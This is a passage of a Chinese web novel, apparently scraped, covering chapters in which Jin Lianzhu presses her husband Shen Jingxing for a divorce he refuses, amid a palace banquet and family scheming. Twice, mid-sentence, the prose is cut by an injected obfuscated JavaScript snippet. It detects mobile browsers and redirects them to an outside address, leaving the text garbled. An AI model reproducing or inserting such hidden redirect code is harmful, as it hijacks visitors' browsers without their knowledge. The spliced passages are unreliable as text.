“有什么不妥之处尽管提。若无不妥,明儿便召集耆老们,再请一位文书先生做个见证……” “没看见。”沈敬行生硬地打断她。 靳连珠纳闷:“怎会没有看见,我分明放在桌上最显眼处了。” 说着,她挣扎着起身,准备亲自拿给他看。 沈敬行气闷到胸口疼,没控制住举止,伸长胳膊一把将她揽回怀里,虎口掐着她的细腰,眼底藏着凶恶,语气罕见的泛起微小波澜,但听起来还远远算不上失控:“有事说事,休要拿和离作筏子。婚嫁之事岂能儿戏。” 受姿势所迫,靳连珠仰面看着他,满头青丝铺开在枕头、薄衾上,粉色白皙,眼波似水潺潺,唇色不如往常红润,透着病恹的娇气。 见状,沈敬行心脏的滞痛感更甚。 他疼惜她在沈家惶恐度日、心神都倍受煎熬,不惜与耆老们当堂撕破脸,也得带她分家。 不出半日,这等家宅私事就传到朝堂上引起轩然大波,御史台那几个古板老头合起伙来狠狠参他,言语之下大有让官家治他一个私德有亏的罪名。 官家大惊,退朝之后单独留他聊许久,沈敬 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不吉利的言语不能乱讲。 可痛归痛矣,沈敬行更多的则是茫然。 他向来把待人处事比喻成考试,遇上题目,依照要求逐步作答便是。从未出错的法子如今却在最重要的关节上出现意外。 沈敬行自认为给靳连珠交上一份满分的考卷,却发现自己落笔初始就偏题了。他绞尽脑汁也找不出另一种解题方法,难得的表现出束手无措。 沉吟半晌,他涩涩开口:“所有事情都差不多办成了,这才说与你听,并非说空话唬你玩。” 靳连珠垂落眼睑,不再看他。 声音娇柔且郑重地道:“我说和离,是深思熟虑的结果,不是耍小性子想要你哄……老夫人和我娘家人都允了,只待与你讲明之后,在耆老们的见证下签完一纸和离书,报给官府便可以归家。” 沈敬行本想心平气和的解开误会,却被靳连珠冷不防的一番话狠狠中伤。 且不论,她上次送他的时候还恋恋不舍,掩面啜泣,一副相思情切的模样。再不论,他这个做官人的,竟然最后知晓此事。 她怎么能不考虑和离的严重性,只因一时怄气,就草率的把这件事捅到老夫人面前。 至于她的娘家人。 靳家人远在淮州,信笺往返少说需要两月,短短几日,岳父岳母从何得知她要和离的事情。 如今在皇城的,能称得上靳连珠娘家人的,有且只有靳子骞。 提及此人,沈敬行很难不多想。依照老夫人说得,若是当年沈家的婚书晚送到一两日,恐怕靳连珠便要招靳子骞做赘婿了。 怨不得靳子骞看他的眼神充满敌意,待靳连珠却有些超乎寻常兄妹的热切劲儿。也保不齐,这回就有他在其中搅合。 沈敬行不愿以最恶之心揣度旁人,可他实在忍不住。 靳连珠口口声声要与他和离,连和离书都提前写好,只等着他签字。她不理会他的示好,也不愿意正眼看他。他们躺在一处,可她甚至连一声官人都不叫了。 分开短短五日,靳连珠就像彻底变了个人一样。 此乃前所未有的情况。 偏偏,沈敬行无计可施。 饶是他往日再清醒理智,当下也难以遏止落魄和恼怒。 他压着眉,周身气压霎时将至冰点,一言不发地起身穿衣。 人甫一走至门边,身后立即传来娇娇怯怯的声儿。 沈敬行以为她要挽留,心弦一松,当即就在心中暗暗劝解自己:娘子在病中难免性子娇纵,为夫者应该耐心倾听、悉心照料,不该与娘子斤斤计较。 一面想着,步子便有返回内间的征兆。 紧接着,床幔内传来靳连珠的轻咳声儿。 “赶明儿起,我便张罗着下人们收拾物件,四五日光景就足以收拾妥帖了。然后再写一封和离书,连带物品清单一并让下人送至书房,若无错,你得空就把和离书签了吧。” 沈敬行被这锥心的话刺得呼吸不畅,虽面无表情,实在体内掀起惊涛骇浪,黝黑瞳仁里结着冰霜,烧着幽寂的怒火。 他没应她,抬脚径直离开。 料峭寒风吹得两扇门撞上墙壁,哐哐作响,刺耳响声划破寂静黑夜。靳连珠吃不住这样寒冷的天儿,一股冷风灌入肺腑,呛得她趴在床榻上咳嗽不已,想唤人关门都不成。 而本该离开的人实际上根本没走,先把厚厚的棉絮帘子遮掩好,再把门关的严严实实,同边儿上守夜的敛秋说:“吩咐小厨房煮一碗梨汤,把房内炭火烧得旺一些。” 不多时,内间亮起灯火。 靳连珠饮下梨汤,暖烘烘的被子一裹,很快便睡着了。 半梦半醒中,轻如羽毛般的呼吸喷洒在脖颈处,弄得靳连珠不安生。她挥手想赶开那酥酥麻麻的感觉,腕子却在中途被擒住,重新塞回被窝里,轻柔的呼吸也变成小力的啃噬。 靳连珠困得厉害,不愿睁开眼,皱起眉迷糊地哼哼:“官人……” 伏在上方的人影一停,发丝贴着她的脖颈慢慢滑落,顺势跟她挤在一个枕头上。胳膊则隔着被子揽住她,体贴的把胸膛送上去让她靠着取暖,像是单方面原谅她今晚狂悖的行为举止。 翌日天亮,靳连珠悠然转醒,想起昨夜依偎着熨帖的温度,她伸手往旁边摸去,只剩一片冰凉。仿佛那些感觉只是她梦中的幻想。 此后一连五日,沈敬行再没踏入雅韵轩。 23. 第二十三回 退朝之后,官家又留沈敬行单独叙话。 明面儿上与他商议南边修筑防洪堤坝之事,实则被御史台那几个老头子烦得要命,转脸给沈敬行这个“罪魁祸首”上压力来了。 伺候在侧的太监借口下去沏茶,把门一关,给两人留出议事的空间。 没有闲杂人等在,邱肇立即现原形,翘起二郎腿,懒懒散散靠着龙椅,分毫不见官家体面,拖着长腔抱怨:“表哥素来最能为朕解忧,差事也办得最妥帖,怎的这回却在男女之事上犯蠢了。” 沈敬行跪着,背脊挺拔,表情淡然,眉宇间透着坚韧不屈。 略一思忖,他恭敬答曰:“为夫者应该竭尽全力护佑妻子康健无忧,此乃分内事。恕臣委实不知错在何处。” 这模样、这语气,莫名让邱肇联想到葛皇后。 不由得从心底叹:葛氏养出的人儿还真是一模一样的脾气秉性。又臭又硬,混像一块冥顽不灵的石头。 邱肇收敛吊儿郎当的神色,坐直身子,抬手示意他起来回话。 再开口,语气陡然变得严肃。 “前朝一直因这事吵得不可开交。一派主张防患于未然,此坝非修不可。另一派认为耗时太长,劳民伤财,不利于眼下的局势。” 公说公有理,婆说婆有理,双方都不肯让步。 纵使官家已然拍板决定要修,两拨大臣仍没分辨出个输赢。 邱肇一想那场景就愁的头疼,揉着太阳穴缓解疲劳:“朕当初顶着压力允了你的议案,结果可别让朕失望。” 水利工程关乎国本,更关乎万千百姓的生计。官家深谙其中道理,因着足够信任沈敬行,甚至在此事上赐予他先斩后奏之权。 圣旨下达,皇城内暗地里的势力蠢蠢欲动,不知有多少双眼睛紧盯着工部,尤其是沈敬行。 要么渴望与他搭上桥,从中分一杯羹。要么盼着他办不成差事,挨罚贬官都是轻的,最好能一举除掉眼中钉肉中刺,这才逮住这次他的家事可劲儿造势。 沈敬行明了,官家此言更多的是提点他千万别在这个节骨眼上出什么岔子,耽误南下的正事。 他谨慎应下。 没其他事,沈敬行行罢礼便离开。 邱肇坐得腰间酸痛,起来绕着屋子打转,伸懒腰舒缓筋骨。突然想起甚么,他赶紧跑过去推开窗子,趴在那儿拔高声量喊:“表哥且慢——” 满院儿伺候的宫人面不改色,显然已经习惯。说到底,官家的年岁还小,虽身居高位,但私下里难免露出稚气一面。 相较昨日趁着周侍卫打瞌睡的时候把他胡须全剪掉的恶劣行径,现如今,他于大庭广众之下唤沈尚书一声表哥属实称不上什么大事。 况且,依照辈分以及亲缘关系论,这位大人的确是官家的表哥。 沈敬行却并不这么想。 他脚步一顿,折返回来,站定在窗前向官家见礼。木着一张脸,眼底沉着不愉,劝告:“陛下慎言。” 紧接着问:“陛下唤臣何事?” 邱肇从龙袍前襟掏出烫金请柬,上头熏着梅花的清香味儿。 他眉眼耷拉着,瞧上去有几分委屈:“朕前夜说错话,又惹皇后不高兴了,一连五日都托病不肯让朕进门。” “亏得周侍卫脑子灵光,帮朕想出个好法子。趁着春日景色佳,在行宫办一次赏花宴会,邀请诸多官眷,把场子烘托的热热闹闹,届时再精心准备一些惊喜,不愁皇后不领情。” 说着,邱肇不由分说的把东西塞给他。 沈敬行神色不免恍惚,指腹摩挲请柬封面凹凸不平的印花,喃喃:“陛下确认这样便能取得娘娘的原谅?” “能的,能的。” 邱肇点头如捣蒜:“表哥赏个面子,千万带着表嫂前来赴宴。” 这一口一个“表哥”“表嫂”地叫,被有心人听见传出去又得生出风波。沈敬行拧着眉,口吻无奈且暗含警示:“陛下。” 邱肇立即端正姿态,负手而立,双眼眺望远方,面色严肃。装得像模像样地:“要紧事朕都交代完了,爱卿退下罢。” 沈敬行收起请柬,躬身行礼,翩然离去。 - 下完春雨,冷两天,气候逐渐转暖。 靳连珠遵从医嘱乖乖服药,咳疾以肉眼可见的速度好转。 她身子活泛许多,便亲自指挥下人们把陪嫁的东西全部收入箱子,得空又带着白芷重新盘查一回,确认清单无误,连同和离书一起交给白芍,吩咐她送至书房。 白芍欲言又止地看一眼靳连珠,行至门边,没忍住折返想问个明白。 固然她觉得沈家并非福地洞天,娘子不如与家主和离,回到淮州,一家团圆,娘子也好健健康康、欢欢喜喜的过日子。 可这些都是她的主意,代表不了娘子。 她怕娘子后悔。 白芷先一步拽住她,悄声道:“你又作什么妖?” 白芍叹:“娘子真就能舍得下家主?” 以防被靳连珠听见徒增伤感,白芷拉着白芍到院子里说话:“此为两码事。既然娘子叫你送信儿,你只管去做,不要多问多想。这些都不是你该考虑的。” 白芍瘪嘴,不情不愿的,回头往屋内瞧。 日光密密斜斜的落在靳连珠身上,仿若为她镀上一层金边。而她端坐在梳妆台前,眼神空洞地盯着某处,眉宇间盛着挥之不散的哀怨。 整个人儿身形消减,乍瞧上去没多少鲜活气,仿佛落满灰尘的珠子。 嫁作人妇不过两年光景,便把昔日一个雀跃活泼的少女蹉跎成这样子,可见姻缘绝非什么好东西。 旋即又思忖。 同样已经嫁人的玉莲和曲莲都过得好好的。 玉莲的官人有才学也出息,性子温吞却十分懂得尊敬娘子,不仅让玉莲成为官夫人,还带着她一道享福去了。 从前沈家老夫人嫌弃曲莲咋咋呼呼,很是粗鲁,上不得台面。可曲莲的婆婆却喜爱极了她的性子,认为她是个能干大事的人,干脆把家中产业悉数交给她打理。 前不久,她出去采买遇见曲莲,只见她一身华服,穿金戴银,丫鬟仆从若干,官人更是对她言听计从,活似个主子娘娘,甭提有多神气了。 白芍眼热之余,难免心生怨怼:依照靳家的财力,她家姑娘根本不愁找一个知冷暖的好官人。 怪就怪家主,既然对姑娘无意,又为何处处让她误解,捧着一颗真心以为换得美梦成真,殊不知这才是真真正正掉入虎狼窝的开端。 白芷看着白芍一言不发却咬牙切齿的模样,怎会不明白她心中所想。 她摸摸她的脑袋,哀愁地长叹:“咱家娘子并非没有干粮只吃米粥也可以凑合的人。当初不远万里奔着家主一颗真心而来,如今真心不再,夫妻情深全是虚假,娘子勘破现状,万万不肯继续留在这里同人虚与委蛇。” 白芍眼神迷迷蒙蒙的,但多少听懂一些。 她点点头,说:“那我去了。” “你只管按照娘子的交代回话,旁的不必多言。” 白芷轻推她的背脊,嘱咐:“娘子总记挂着你膝盖上的伤,药膏是特地让严府医调制的,你自个儿也得注意些,路上慢慢走,别慌张。” 白芍乖巧应答:“哎。” 院中排列的箱子经不得暴晒,清点完毕之后暂且搬到偏房。 小厮们把美人椅搬到院中,靳连珠晒会儿日光,昏昏欲睡之时听见一阵匆忙的脚步声。 不待见人,她便摇着扇子,宠溺地开腔:“白芍,慢些跑。” 墙外的动静立即变得缓慢些许。 很快,白芍迈过门槛儿,满头大汗地走近,把清单与和离书原封不动的拿回来,表情十分为难。 白芷意外:“家主不在,还是不收?” “不在。” 白芍砸吧砸吧嘴,渴的厉害,嗓子喑哑难耐:“听拂冬说,工部这几日都忙,家主压根儿没回来。” 靳连珠似乎早就料到这一茬,并没什么反应。 她稍微偏头,示意白芍进屋喝口水,好生歇一歇。 白芍没动弹,又从袖兜里掏出一封泛着梅花清香味儿的请柬,递到靳连珠跟前儿,打探着她的脸色,磕绊着出声:“这是家主差使拂冬转交给娘子的,说是十分重要,请娘子务必过目……” 靳连珠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15202186|161771||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直接拿扇子盖住面颊,闷闷道:“白芷。” “奴婢在。” “你去把请柬还了。” 白芷一顿,先跟白芍对个眼神,随后把东西接过来,应道:“是。” 靳连珠烦得厉害。 本以为沈敬行待她没几分情意,轻易就会答应和离。她早一日离开沈家,便能早一日放下他,开启新的人生。可他偏要冷着她,从始至终不见人影儿,徒留她一人干着急。 起初的情伤失意慢慢被消磨干净,靳连珠已然忘记多久没睡个安稳觉,被情爱麻烦搅得身心俱疲,只想着拿到和离书,快快解脱。 自此后,前尘旧事皆消弭。 他们只管安心地各走各的路。 靳连珠放任脑袋胡思乱想,渐渐的开始打起瞌睡。 半梦半醒时,身子突然腾空而起,原本覆盖在面颊上的扇子掉在地上,发出清脆地响。 靳连珠猛地惊醒,下意识的伸出胳膊环住对方脖颈,紧紧依偎进他的怀抱,眼底充斥着惊魂未定。这样的反应显得十分娇憨。 沈敬行垂眼看她:“夜里风凉,我抱你到房中歇息。” 略显凉薄的声调唤回靳连珠走丢的神智,她松开他的脖颈,曲起胳膊抵住他肩头,使得两人隔开一段微小的距离。倔强地道:“放我下来。” “……” 沈敬行抿抿嘴,纵使心底有千万个不乐意,也没舍得强迫她。 他弯腰,待她踩实地面才撤回胳膊。 似是怕靳连珠一张嘴便要讲和离,沈敬行抢先说道:“官家娘娘于行宫举办赏花宴,众臣携家眷前往,你不去便是抗旨不尊。” 靳连珠后腰还残留着他掌心灼热的温度,无数个夜晚缠绵悱恻的画面涌入脑海,让她难免心猿意马,正欲伸手去揉,随后发觉当着他的面儿此举很不妥,于是腕子一转,顺势俯身整理裙摆。 沈敬行环顾一圈,不待吩咐,敛秋便极有眼色的搬来一把椅子,随即退到远处的廊下候着。 靳连珠见去路被他死死堵住,没法子,只得重新坐回美人椅上,抖开毯子盖住双腿。 她手上一边忙活,嘴里一边悄声嘟囔:“你在和离书上签个字,我便可以顺理成章的不去参加赏花宴了。” 她原也不乐意与那些骄矜的世家姑娘打交道。 沈敬行听不得她张口闭口拿和离说事,面色一沉,满眼的风雨欲来。 只是这回,靳连珠没像从前那般做小伏低的哄他。 沉寂良久,沈敬行突兀地说:“我不会签。” 靳连珠不解:“为甚么?” “……” 沈敬行闭紧嘴,暂不作答。 靳连珠被他冷落多天,耗尽全部的精力,连发火辩驳的心思都没了。 她细细抽气,又缓缓吐出,反复几回平息心绪,直直地盯着他,暗中与他较劲儿,非要等到一个满意的答复。 没成想,看着看着,思绪逐渐跑偏。 沈敬行皮肤白净,却又不似其他文官那般弱不经风,鼻梁英挺,薄唇红润。衣角随风飘拂,满院的灯光衬得他皎皎如画中仙。 沈敬行有所察觉,突然转脸看向她。 他眼睛生得最漂亮,弧度流畅,眼底沉着万千思绪,如丝线般紧紧缠住她,教她呼吸变得不畅快。 诚然,靳连珠当初就是被他这么一双眼给迷得神魂颠倒,从此梦里醒着都惦记,逐渐演变成情深不能自抑。 可是错了就是错了。 她既有千里赴真情的勇气,也有认清现实之后毅然抽身的决心。 虽然不晓得沈敬行对她没那份情意却仍不愿放她离开的原因,但是,他并非胡搅蛮缠的人,把事情讲明白了,或许他就肯允了。 靳连珠脑袋低垂,有一下没一下地揪着毯子边缘的流苏,喃喃:“起初我并不知道爹爹为了让我嫁给你,用救命的药与老家主做过一笔交易。这事,是我家做的不道义。” “可,论起来,被这么荒唐的婚约困住的人不止你一个。” 靳连珠说:“如果你当年没回我的信,我想必就依照家里的安排早早儿成亲了,也不会对你念念不忘的。” 24. 第二十四回 沈敬行没料到靳连珠突然翻起这么久以前的旧账,比之她赌气说要改嫁他人,他更在意别的。 缄默半晌,他直白地问:“我在信里写什么,惹得你不高兴了?” 靳连珠看着沈敬行真挚的表情,顿时有种一拳打在棉花上的无力感。 她急地跺脚:“重点不在此,我是认真的同你聊和离。” 沈敬行面不改色:“我说过,不会和离。” 靳连珠气结,胸膛起伏不定,好半天就蹦出一句:“为甚?” 沈敬行规规矩矩地坐着,像极了以前在学堂里做学问的严肃样儿,一板一眼地答曰:“婚姻大事不可儿戏。你若心中有气,尽管发泄,我会在能力范围之内补偿你,但不会为着随随便便的原因便和离。” 靳连珠领教过他的犟脾气,被噎的胸闷。 她攥着拳忍耐片刻,最终还是忍无可忍了:“天下之大,夫妻和离的例子比比皆是,本朝没有任何一条律法规定沈氏例外。我与你感情不睦,实在过不下去了,提出分开有何不可?” 顿了一顿,靳连珠理直气壮地补充:“我未曾犯过大错,你不能休妻。” 沈敬行双手搭在膝头,一声不吭,丝毫不动容。 他这几日没少跟同僚待在一处,闲暇时候常听起他们聊家常,这才得知,娘子闹着和离的情况早就见怪不怪了。 无非想借此威胁官人多关心、疼疼自个儿。 更有甚者,争吵过后赌气收拾行囊放回娘家,一住就是三两月,最后还是乖乖返回夫家继续过日子了。 沈敬行料定靳连珠的真实意图也是如此。 他们过着好好的日子,商议定了待她身子痊愈便要个孩子。 靳连珠一向对他黏黏糊糊的,困得眼皮都睁不开了也搂着他不肯撒手,还因着他要到贡院有一段时日见不着面便哭哭啼啼…… 从前万般不舍,突然就翻脸说过不下去了。 天底下哪有这样的事儿。 沈敬行自我劝服成功,再睁眼时又变成昔日云淡风轻的样子。 殊不知,他的反应落于她眼底,便成了满不在乎。 靳连珠感觉自己个儿的愤怒被弱化,一咬牙,气急败坏地低叱:“你总是这般我行我素,从不把我的感受放在眼里。我是你的妻没错,可我也是个有喜怒哀乐的正常人,你同我讲话的时候,就不能把尚书大人那套作派收一收吗?!” 沈敬行从未见过靳连珠张牙舞爪的样子,错愕之余,坐姿变得更加端正些,声也低些,耐心解释:“你误会了,我从未在你面前端过架子。” 说完这句,靳连珠的表情以有眼可见的速度变得更加幽怨。 沈敬行一噎,后知后觉领悟出什么。 他料到靳连珠在置气,却还是很难理解背后的原由。稍一歪头,满面疑惑,轻轻巧巧地抛出一句:“你要和离,就为这?” 靳连珠忿忿:“嗯。就为这。” 她写“只缘感君一回顾,使我思君朝与暮”,他回“近来功课繁忙,委实没空回复,见谅”。 她往封中塞入一朵亲手烘干的花儿,写“相思只在,丁香枝上,豆蔻梢头”,他回“入春之后常住书院与老师研究学问,暂无心观花”。 后来得知两人的婚事,她欢喜雀跃至极,洋洋洒洒写出五六页纸,整日翘首以盼他的回信,展开一看仅潦草三两行字,言简意赅的说明他因公务繁忙,无法亲自前往淮州接亲。 从前情浓之时不觉得有什么,现如今,虚假的鼓面被揭破,靳连珠恍然发觉他们竟然从来没有对上过心弦。 换言之:有爱自能平万难,可他们之间偏偏没有这份情意,又该怎么携手度过余生的风雨。 最终难免落得个话不投机半句多,相看两厌的下场罢了。 靳连珠不欲多费口舌,从袖兜里掏出皱巴巴的和离书,搁在沈敬行膝头,又从他手中抽走那封烫金的帖子。 竟是一刻都无法待在他旁边了。 “赏花宴我会去,但我也是铁了心的不跟你过了。” 撂下这句,她便要回房。 沈敬行及时攥住她的腕子。 他太急切的挽留,一时没控制住力道,弄得靳连珠生疼,小脸皱起来,猛然倒吸一口气,娇气地低嚷:“快放开,你弄痛我了。” 沈敬行瞳孔一缩,立即松懈几分,却不至于让她挣脱。 他仰着头看她,古板又执着地说:“我们,不会和离。” 靳连珠被他一而再再而三的搞没脾气,当下也不知道该说什么好,泄气般地垂下肩膀,几缕青丝顺势滑至身前。 月光拢着她,身影绰约娉婷,仿若即将登天的仙子,美得惊心。 隔着单薄的一层春衫,沈敬行指腹轻柔摩挲她手腕内侧的细嫩皮-肉,想顺势拥住她却又不敢造次。唯恐冒犯靳连珠,让场面变得更难收拾。 眼下进退两难,竟是心绪凌乱,万般愁思不堪言。 面儿上瞧,他仍旧是个清风霁月的俏郎君,眼底却罕见的生出几分拿捏不定事态发展的惶恐不安。 靳连珠一反常态的没有哭啼抹泪,冷漠到仿佛失去全部情绪,唯独眉宇间还凝着一抹愁思。 她盯着环住腕子的那双手,修长纤细,骨节分明,跟主人一样儿都是玉做的,美则美矣,可惜无甚温度,凉透她的一颗心。 靳连珠率先错开眼,看向院中开得正盛的红梅,心底的酸涩逐渐发酵,冒着细密的泡沫:“左右在你心里头,我的分量也不重。既然老天仁慈,让我们有机会结束这段错缘,又何必纠缠个没完没了。” ……错缘。 她竟觉得这门婚事是一段错缘。 沈敬行犹如遭到当头棒喝,浑身疼得厉害,眼前也一阵阵发着黑。 等再回神,发现手掌心空空如也。 靳连珠施施然走开,嘱咐下人把房门关紧,免得半夜泄入冷风。 摇曳的烛火投射在窗纸上,就在沈敬行精神恍惚,抬脚准备跟进去的时候,里头的光亮倏地灭掉。 逐人的意思再明显不过。 沈敬行身形怔怔停住,舌尖尝到无尽苦涩。 敛秋左瞧瞧,右看看,察觉到局势不妙,额上分泌着一层细密的薄汗,心脏咚咚作响,砸得肋骨生疼。 他掐着掌心的汗,悄摸抬起眼皮打量家主的表情,可惜无果,遂小心翼翼出声询问:“主子,今夜您,也到书房歇着吗?” 沈敬行侧身面对主屋,仅小半边脸暴露于灯笼昏暗的光线之中,眼神晦暗如深。他只是负手静静立在那儿,周遭的空气便仿佛凝固,压迫感扑面而来。 敛秋不敢再多嘴,默默退到院外候着。 直至月上梢头,将近寅时,廊下守夜的女婢倦意上头快要睡着,余光忽然瞥见一袭锦袍、黑长靴走近。她打了个冷颤,整个人儿随之清醒过来了,赶紧跪直,诚惶诚恐道:“家主。” 沈敬行垂眼盯着未锁上的门栓,晓得自己稍一用力便可推开,但他却不知为何竟犹豫了,片刻之后,果决转身离开。 - 赏花宴办在过午,驾马车前去赴宴,时辰上很来得及。 靳连珠一觉无眠地睡到饱才起身,唤白芷入内伺候洗漱装扮。 见她捧着一只偌大的梨花木匣子,纳闷:“里头是甚么?” 白芷面儿上滑过一丝为难,顺手把匣子放置于梳妆台上,走近帮她穿衣,回道:“敛秋一早送来的。说是,家主精心为娘子挑选的首饰。” 闻言,靳连珠难免恍惚,脑海中飞速掠过往昔两人的闺房之乐,不过那鲜少几回,沈敬行都不大乐意,到最后半推半就的依着她,也表现的像是被迫无奈。 那会子,她把他当作天。 他不理她,便是天要塌了。 往昔她千方百计却求而不得的待遇,临到要分别,他反倒变得慷慨起来了。转念一想,他这人素来体面,只要和离书上一日没落名儿,他自然要继续守一份为人夫的责任。 无非走个过场罢了,跟从前一样,谈何真情实意。 思及此,靳连珠暗自神伤,只为着自个儿浪费的一腔真心。 她别过头,不再看那只匣子,问:“敛秋走没有?” “没,还在外头候着呢。” “让他把东西带走罢。” 这吩咐倒在白芷的意料之中。 她取上物什出门,不多时返回屋内,继续给靳连珠梳妆。 从铜镜中窥见靳连珠阖着眼打瞌睡,面色不似不愉,应当是没被方才的事干扰,白芷手上的动作不停,心里落定主意,试量着道:“敛秋那小子离开的时候,一张脸苦哈哈的,怕是要被家主训了。” 靳连珠仍闭着眼,语气散漫但笃定:“敛秋胆子小而已。他伺候主子多年,还摸不透主子的脾性么。” 沈敬行最讲规矩,且赏罚分明,绝不会因为芝麻大点的事苛责下人。 “是呀。奴婢见着他吓破胆的样儿,觉得怪可怜的,也如此安慰他几句。没想到他眼睛通红,即刻就掉起泪珠子,还说奴婢不懂,这差事关乎娘子,没有办成,惩罚只重不轻。” 白芷利索地挽起发髻,从箱奁中挑出几样合规制的头饰,挨个儿摆在靳连珠面前供她选择。徐徐道:“娘子不晓得,家主发起火来着实骇人呢。” 靳连珠眼前浮现出那张俊脸,眉峰藏秀气,冷着脸默不作声便已经是他盛怒之下的反应了,她根本想象不出他更急躁时会是什么反应。 她暂未作声,且待下文。 白芷接过发饰给她簪上,对着镜子仔细整理位置,闲聊似地道:“这回娘子发热,家主气极,险些就把雅韵轩的下人们全处置了,后来念着娘子用得惯咱们,这才忍耐下来,只罚没半月例钱。” 见着靳连珠迟迟不出声,白芷索性一鼓作气,把憋了许久的话悉数吐露出来:“家主最重孝道规矩,却为着您不惜闹到分家这一步,由此可见,家主的心里头并非没有娘子。娘子您,说放就能干脆利索的放下么?” 若真能放得下,那夜在院儿里跟家主放完狠话,娘子也不会一个人蒙在被子里哭大半宿了。到底是牵绊她这么多年的感情,地位谈何不重呐。 说来说去,白芷只担心娘子后悔,到时想回头也晚了。 靳连珠看穿她的想法,笑说:“前段日子听你劝白芍的言辞,觉得你想法十分透彻,今日怎么又迷糊了?” 白芷脸一红,支支吾吾说不出话来。 “许多方面你考虑的都在理,我不怪你。” 语罢,靳连珠取出一枚新制的香囊,悬挂于腰间,遮掩住连日来的苦药味儿。 转身发现白芷仍立在原地,苦苦思索她方才话中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15202187|161771||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的意思。 不由地笑说:“发什么愣,还不快准备准备,这就要出门了。” “哎...哎。”白芷应声,一溜烟儿地走了。 按理,夫妻二人该一同前去赴宴,不晓得昨夜工部有何要紧事,沈敬行忙碌至天擦亮,干脆在厢房歇半个时辰,直接出发前往行宫。 往日靳连珠得信儿,少不了一阵哀伤,自从知道沈敬行对她压根儿没感情之后,她的心大概也一点点冷却了。 拂冬前来送口信的时候不免提心吊胆,一边说一边打量她的神色,发现靳连珠的确满不在乎,不禁暗暗替家主发愁。 马车停在侧门,靳连珠过来之后惊觉秦凌莲也在。 她立于车旁,一袭华服,穿金戴银,花容月貌,举手投足间气质非凡,乍看之下,打扮的竟比大娘子还气派。混似个仙女娘娘。 “听闻表嫂要到行宫参加赏花宴,途径岳川酒楼,可否稍带我一程。” 一旁的卞婆子紧跟着补充说:“今日老夫人上山礼佛,府内的马车不够用了。” 言下之意,她们当真有为难之处,绝非有意来劳烦大娘子。 靳连珠不是个不近人情的,纵使双方有龃龉在前,也不至于看着她们有要紧事去办还故意把人撂下。 见她应了,秦凌莲面露喜色,殷勤的上前搀扶。 马车踽踽前行,凳上铺着厚厚的软垫,厢壁也镶嵌着一层绒。沈敬行担心靳连珠冬日出行受寒,特地叮嘱下人布置的,入春之后气温转热,这些反倒显得多余了。 靳连珠挽起帘子,任由微风吹拂发梢,躁意消散不少。 一路无言至岳川酒楼,秦凌莲正欲下车之时,靳连珠才想起,她在永平城除去沈家没别的亲朋好友,打扮的如此靓丽到酒楼见何人? 保险起见,靳连珠多嘴说一句:“将我身边得力之人匀给你一些。女儿家出门在外千万注意安全,莫逗留太久,天黑之前就回府。” 秦凌莲没料到这番话会是靳连珠说给她听的,一时怅然,态度不觉乖顺些许:“多谢表嫂。” 目送秦凌莲进入酒楼,靳连珠唤两个丫头上车坐。 余下的路途且长,主仆三人免不得聊天解闷。 靳连珠这才从白芍口中得知,秦凌莲这趟出门是跟媒人约定了,在酒楼包下两个雅间,隔着屏障暗中与男子相看。 若两厢有意,事儿便可定下来了。 靳连珠诧异:“是老夫人的安排?” 奇了怪了。 老夫人素来喜爱秦凌莲,当初大老远把她接到身边,不过为着让她跟沈敬行再续前缘。怎么就,轻易让她嫁给他人呢。 白芍剥开橘子,撕掉白络子,把干干净净的果肉瓣递给靳连珠。 “这也是奴婢从其他院伺候的妈妈口中得知的,娘子全当听个乐呵。” 靳连珠热得胸口生腻,实在没有胃口,遂把橘子还给她,转手从白芷那儿接过一杯凉茶,浅啜一口,缓缓燥意,颔首:“你说。” “表姑娘家中横遭变故,后母又是个贪图银钱的短视之人,竟为着一丁点儿利益要把表姑娘嫁给一个上年纪的鳏夫。到底是从跟前儿长大的姑娘,老夫人不忍看她跳入火坑,这才随便找个借口,把人儿接到家中了。” “起初,老夫人的确抱着让表姑娘入门的念头,可后来,表姑娘的父亲仕途不顺遂,恐要在寒凉之地度过后半生,老夫人就又看不上了。或许想着,为表姑娘寻一门不错的婚事,也算全了两家的亲谊。” 白芍讲完,乐津津吃橘子,转脸往热闹的街巷看,注意力很快被吸引走,又聊起别的话题。白芷有一搭没一搭地附和,手持扇子给娘子扇风。 靳连珠靠着软枕,盯着某一处,眼神发虚。 方才热得汗流浃背,这会子却遍体生寒。 常言说商人重利轻别离,可奸诈之人又怎会专挑行商门户投胎,殊不知,深宅大院内算计更不少,且人人都能找得出一个堪称名正言顺的理由。 这才叫真正的恐怖。 靳连珠看得出秦凌莲初来乍到之时很想讨好老夫人,又不想冷落她,还得日日围着书房打转儿,企图引起沈敬行的怜悯。 想必那时,秦凌莲听信老夫人的言辞,以为自己个儿决计能入门,干脆投入老夫人的阵营,再不花费心思到她跟前儿打晃。 后来勘破真相,秦凌莲没有过多伤怀,很快便想明白了。 老夫人今日能为利益舍弃她,明儿指不定又为别的什么利用她。 既如此,她不如另寻一棵大树作依靠,况且,老夫人如此看重身外名,想来也不会在婚事上亏待她,以免传出去坏掉自己一惯仁慈的名声。 分辨清楚利害关系,这才有了今日秦凌莲欢欢喜喜前往酒楼赴约的事儿。 天下熙熙皆为利来,天下攘攘皆为利往。世家大族深谙其道,就连沈敬行也多讲利益,反观靳连珠,一门心思都为什么情啊爱啊的,竟傻得可笑。 